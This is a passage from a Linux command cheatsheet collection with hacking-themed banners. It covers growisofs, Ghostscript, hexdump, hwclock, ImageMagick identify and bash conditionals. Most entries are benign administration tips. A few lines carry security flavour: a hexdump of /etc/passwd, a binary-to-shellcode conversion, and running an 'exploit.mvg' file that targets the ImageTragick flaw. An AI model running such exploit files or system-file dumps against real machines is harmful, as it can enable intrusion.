░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
50 - 🖥️growisofs
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the growisofs command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗███████╗ ██████╗ ███████╗███████╗
# ██╔════╝ ██╔══██╗██╔═══██╗██║ ██║██║██╔════╝██╔═══██╗██╔════╝██╔════╝
# ██║ ███╗██████╔╝██║ ██║██║ █╗ ██║██║███████╗██║ ██║█████╗ ███████╗
# ██║ ██║██╔══██╗██║ ██║██║███╗██║██║╚════██║██║ ██║██╔══╝ ╚════██║
# ╚██████╔╝██║ ██║╚██████╔╝╚███╔███╔╝██║███████║╚██████╔╝██║ ███████║
# ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚══════╝
# Burn the contents of a directory to dvd without needing a gui application
growisofs -dvd-compat -Z /dev/scd0 -R -J -pad /path/to/dir
# Explanation: Useful if you have a directory full of data to burn to DVD without using a GUI. The growisofs tool is in the "dvd+rw-tools" package in Ubuntu, install it with: sudo apt-get install dvd+rw-tools
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command growisofs in a clear format. This allows users to quickly access the needed information for growisofs without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for growisofs are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
51 - 🖥️gs
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the gs command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗
# ██╔════╝ ██╔════╝
# ██║ ███╗███████╗
# ██║ ██║╚════██║
# ╚██████╔╝███████║
# ╚═════╝ ╚══════╝
# To reduce the size of a pdf file:
gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=output.pdf input.pdf
# Concatenate PDF files using GhostScript
gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH file1.pdf file2.pdf file3.pdf
# Use ghostscript to shrink PDF files
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
# Explanation: Replace input.pdf and output.pdf with the original PDF name and the new compressed version's file name respectively. The key to this is the PDFSETTINGS option which can be tuned for various levels of compression. For scanned text documents, I find the ebook setting works well enough for most purposes but you can experiment with the options below.
# -dPDFSETTINGS=/screen (screen-view-only quality, 72 dpi images)
# -dPDFSETTINGS=/ebook (low quality, 150 dpi images)
# -dPDFSETTINGS=/printer (high quality, 300 dpi images)
# -dPDFSETTINGS=/prepress (high quality, color preserving, 300 dpi imgs) '-dPDFSETTINGS=/default (almost identical to /screen)'
# Reduce PDF Filesize
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dBATCH -dQUIET -dColorImageResolution=600 -dMonoImageResolution=600 -sOutputFile=output.pdf input.pdf
#==============================##==============================#
# CMD GS #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command gs in a clear format. This allows users to quickly access the needed information for gs without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for gs are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
52 - 🖥️gyb
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the gyb command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command gyb in a clear format. This allows users to quickly access the needed information for gyb without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for gyb are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
53 - 🖥️hardware-info
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hardware-info command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ █████╗ ██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗ ███████╗ ██╗███╗ ██╗███████╗ ██████╗
# ██║ ██║██╔══██╗██╔══██╗██╔══██╗██║ ██║██╔══██╗██╔══██╗██╔════╝ ██║████╗ ██║██╔════╝██╔═══██╗
# ███████║███████║██████╔╝██║ ██║██║ █╗ ██║███████║██████╔╝█████╗█████╗██║██╔██╗ ██║█████╗ ██║ ██║
# ██╔══██║██╔══██║██╔══██╗██║ ██║██║███╗██║██╔══██║██╔══██╗██╔══╝╚════╝██║██║╚██╗██║██╔══╝ ██║ ██║
# ██║ ██║██║ ██║██║ ██║██████╔╝╚███╔███╔╝██║ ██║██║ ██║███████╗ ██║██║ ╚████║██║ ╚██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═════╝
# Display all hardware details
sudo lshw
# List currently loaded kernel modules
lsmod
# List all modules available to the system
find /lib/modules/$(uname -r) -type f -iname "*.ko"
# Load a module into kernel
modprobe modulename
# Remove a module from kernel
modprobe -r modulename
# List devices connected via pci bus
lspci
# Debug output for pci devices (hex)
lspci -vvxxx
# Display cpu hardware stats
cat /proc/cpuinfo
# Display memory hardware stats
cat /proc/meminfo
# Output the kernel ring buffer
dmesg
# Ouput kernel messages
dmesg --kernel
################################################################################################
# -------------------------------------------------------------------------------------------- #
# -- _ _ _ __ -- #
# -- | |__ __ _ _ __ __| |_ ____ _ _ __ ___ (_)_ __ / _| ___ -- #
# -- | '_ \ / _` | '__/ _` \ \ /\ / / _` | '__/ _ \_____| | '_ \| |_ / _ \ -- #
# -- | | | | (_| | | | (_| |\ V V / (_| | | | __/_____| | | | | _| (_) | -- #
# -- |_| |_|\__,_|_| \__,_| \_/\_/ \__,_|_| \___| |_|_| |_|_| \___/ -- #
# -- -- #
# -------------------------------------------------------------------------------------------- #
################################################################################################
#==============================##==============================#
# CMD HARDWARE-INFO #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command hardware-info in a clear format. This allows users to quickly access the needed information for hardware-info without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for hardware-info are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
54 - 🖥️hash
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hash command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ █████╗ ███████╗██╗ ██╗
# ██║ ██║██╔══██╗██╔════╝██║ ██║
# ███████║███████║███████╗███████║
# ██╔══██║██╔══██║╚════██║██╔══██║
# ██║ ██║██║ ██║███████║██║ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
# Forget all remembered path locations
hash -r
# Explanation: bash remembers the full path name of each command you enter, so it does not have to lookup in $PATH every single time you run the same thing. It also counts the number of times you used each command in the current session, you can see the list with hash.
# Anyway, this behavior can poses a small problem when you reinstall an application at a different path. For example you reinstall a program that used to be in /usr/local/bin and now it is in /opt/local/bin. The problem is that if you used that command in the current shell session, then bash will remember the original location, which of course does not work anymore. To fix that, you can either run hash cmd which will lookup the command again, or run hash -r to forget all remembered locations (less efficient, but maybe faster to type ;-) For more details, see help hash
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command hash in a clear format. This allows users to quickly access the needed information for hash without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for hash are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
55 - 🖥️hexdump
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hexdump command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗██╗ ██╗██████╗ ██╗ ██╗███╗ ███╗██████╗
# ██║ ██║██╔════╝╚██╗██╔╝██╔══██╗██║ ██║████╗ ████║██╔══██╗
# ███████║█████╗ ╚███╔╝ ██║ ██║██║ ██║██╔████╔██║██████╔╝
# ██╔══██║██╔══╝ ██╔██╗ ██║ ██║██║ ██║██║╚██╔╝██║██╔═══╝
# ██║ ██║███████╗██╔╝ ██╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██║
# ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
# side-by-side hexadecimal and ascii view of the first 128 bytes of a file
hexdump -C -n128 /etc/passwd
# Convert a binary file to C Array
hexdump -v -e '16/1 "0x%02X, "' -e '"\n"' file.bin > hexarray.h
# Convert a binary file to Shell code
hexdump -v -e '"\\""x" 1/1 "%02x" ""'
# Generate random MAC address
hexdump -n6 -e '/1 ":%02X"' /dev/random|sed s/^://g
# Use hexdump to find hidden characters (space, CR, NL, ...) that prevent uniq from collapsing all entries.
sort lines.txt |uniq |hexdump -c
echo "https://evilearl.io/f/2347e6cb-0ad7-4ce5-b7eb-ed344c42fe2e …" | hexdump -c
# Unsure of that URL you copied and pasted and why it's causing problems, pipe it into hexdump to check it for non-ascii characters.
#==============================##==============================#
# CMD HEXDUMP #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command hexdump in a clear format. This allows users to quickly access the needed information for hexdump without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for hexdump are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
56 - 🖥️hwclock
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the hwclock command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██╗ ██╗ ██████╗██╗ ██████╗ ██████╗██╗ ██╗
# ██║ ██║██║ ██║██╔════╝██║ ██╔═══██╗██╔════╝██║ ██╔╝
# ███████║██║ █╗ ██║██║ ██║ ██║ ██║██║ █████╔╝
# ██╔══██║██║███╗██║██║ ██║ ██║ ██║██║ ██╔═██╗
# ██║ ██║╚███╔███╔╝╚██████╗███████╗╚██████╔╝╚██████╗██║ ██╗
# ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═════╝╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝
#to set the hardware clock time, use hwclock –set –date=”STRING” as follows
sudo hwclock --set --date="09/09/2015 12:33:00"
#You can also set your system time using time from the hardware clock as follows.
$ sudo hwclock --hctosys
# It is also possible to set hardware clock time using the system clock time as follows.
$ sudo hwclock --systohc
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command hwclock in a clear format. This allows users to quickly access the needed information for hwclock without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for hwclock are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
57 - 🖥️identify
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the identify command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗██████╗ ███████╗███╗ ██╗████████╗██╗███████╗██╗ ██╗
# ██║██╔══██╗██╔════╝████╗ ██║╚══██╔══╝██║██╔════╝╚██╗ ██╔╝
# ██║██║ ██║█████╗ ██╔██╗ ██║ ██║ ██║█████╗ ╚████╔╝
# ██║██║ ██║██╔══╝ ██║╚██╗██║ ██║ ██║██╔══╝ ╚██╔╝
# ██║██████╔╝███████╗██║ ╚████║ ██║ ██║██║ ██║
# ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝
# describes the format and characteristics of one or more image files
# show width and height of the image
identify -format '%w %h' ${img}
# Show photo filenames where no flash was used. Req. Imagemagick
identify -format "%f F:%[EXIF:Flash]\n" *.jpg | egrep " F:(0|16|24|32)$"
# I posted this tweet using the @ImageTragick vuln and then fixed this server. Yes, its quite serious. Check it.
identify exploit.mvg
# Move low-color-count pictures from raspberry pi plant camera to darks directory. Making timelapse video. Requires some testing first to find threshold. Uses ImageMagick
identify -format "%k:%f\n" 20180302_*.jpg | awk -F: '$1 < 50000{print $2}' | xargs -I{} mv -v {} darks/
#==============================##==============================#
# CMD IDENTIFY #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command identify in a clear format. This allows users to quickly access the needed information for identify without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for identify are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
58 - 🖥️if-then-else
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the if-then-else command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗███████╗ ███████╗██╗ ███████╗███████╗ ████████╗██╗ ██╗ █████╗ ███╗ ██╗| #
# ██║██╔════╝ ██╔════╝██║ ██╔════╝██╔════╝ ╚══██╔══╝██║ ██║██╔══██╗████╗ ██║| #
# ██║█████╗█████╗█████╗ ██║ ███████╗█████╗█████╗██║ ███████║███████║██╔██╗ ██║| #
# ██║██╔══╝╚════╝██╔══╝ ██║ ╚════██║██╔══╝╚════╝██║ ██╔══██║██╔══██║██║╚██╗██║| #
# ██║██║ ███████╗███████╗███████║███████╗ ██║ ██║ ██║██║ ██║██║ ╚████║| #
# ╚═╝╚═╝ ╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝| #
# Shell scripts use fairly standard syntax for if statements. The conditional statement is executed using either the test command or the [ command. In its most basic form an if statement is:
#!/bin/bash
if [ "$#" -gt 0 ]
then
echo "There's Beans"
fi
if [ "$1" = "cool" ]
then
echo "Cool Beans"
fi
(Notice that the fi is simply if spelled backwards). To add an else, we just use standard syntax.
#!/bin/bash
if [ "$1" = "cool" ]
then
echo "Cool Beans"
else
echo "Not Cool Beans"
fi
# Adding an else-if statement structure is used with the elif command.
#!/bin/bash
if [ "$1" = "cool" ]
then
echo "Cool Beans"
elif [ "$1" = "neat" ]
then
echo "Neato cool"
else
echo "Not Cool Beans"
fi
An if statement does not require two parameters. You can use single flags as well. The following code tests to see if the first parameter is a file or not.
#!/bin/bash
if [ -f "$1" ]
then
echo "$1 is a file"
else
echo "$1 is not a file"
fi
# There are many different ways that an conditional statement can be used. These are summarized here:
# String Comparison Description
Str1 = Str2 Returns true if the strings are equal
Str1 != Str2 Returns true if the strings are not equal
-n Str1 Returns true if the string is not null
-z Str1 Returns true if the string is null
# Numeric Comparison Description
expr1 -eq expr2 Returns true if the expressions are equal
expr1 -ne expr2 Returns true if the expressions are not equal
expr1 -gt expr2 Returns true if expr1 is greater than expr2
expr1 -ge expr2 Returns true if expr1 is greater than or equal to expr2
expr1 -lt expr2 Returns true if expr1 is less than expr2
expr1 -le expr2 Returns true if expr1 is less than or equal to expr2
! expr1 Negates the result of the expression
# File Conditionals Description
-d file True if the file is a directory
-e file True if the file exists (note that this is not particularly portable, thus -f is generally used)
-f file True if the provided string is a file
-g file True if the group id is set on a file
-r file True if the file is readable
-s file True if the file has a non-zero size
-u True if the user id is set on a file
-w True if the file is writable
-x True if the file is an executable
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command if-then-else in a clear format. This allows users to quickly access the needed information for if-then-else without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for if-then-else are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
59 - 🖥️imgcat
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the imgcat command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗███╗ ███╗ ██████╗ ██████╗ █████╗ ████████╗
# ██║████╗ ████║██╔════╝ ██╔════╝██╔══██╗╚══██╔══╝
# ██║██╔████╔██║██║ ███╗██║ ███████║ ██║
# ██║██║╚██╔╝██║██║ ██║██║ ██╔══██║ ██║
# ██║██║ ╚═╝ ██║╚██████╔╝╚██████╗██║ ██║ ██║
# ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝
# imgcat
# A utility to display images directly on the command line.
# Requires a compatible terminal such as iTerm2.
# Display an image on the command line:
imgcat filename
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command imgcat in a clear format. This allows users to quickly access the needed information for imgcat without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for imgcat are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
60 - 🖥️indent
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the indent command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
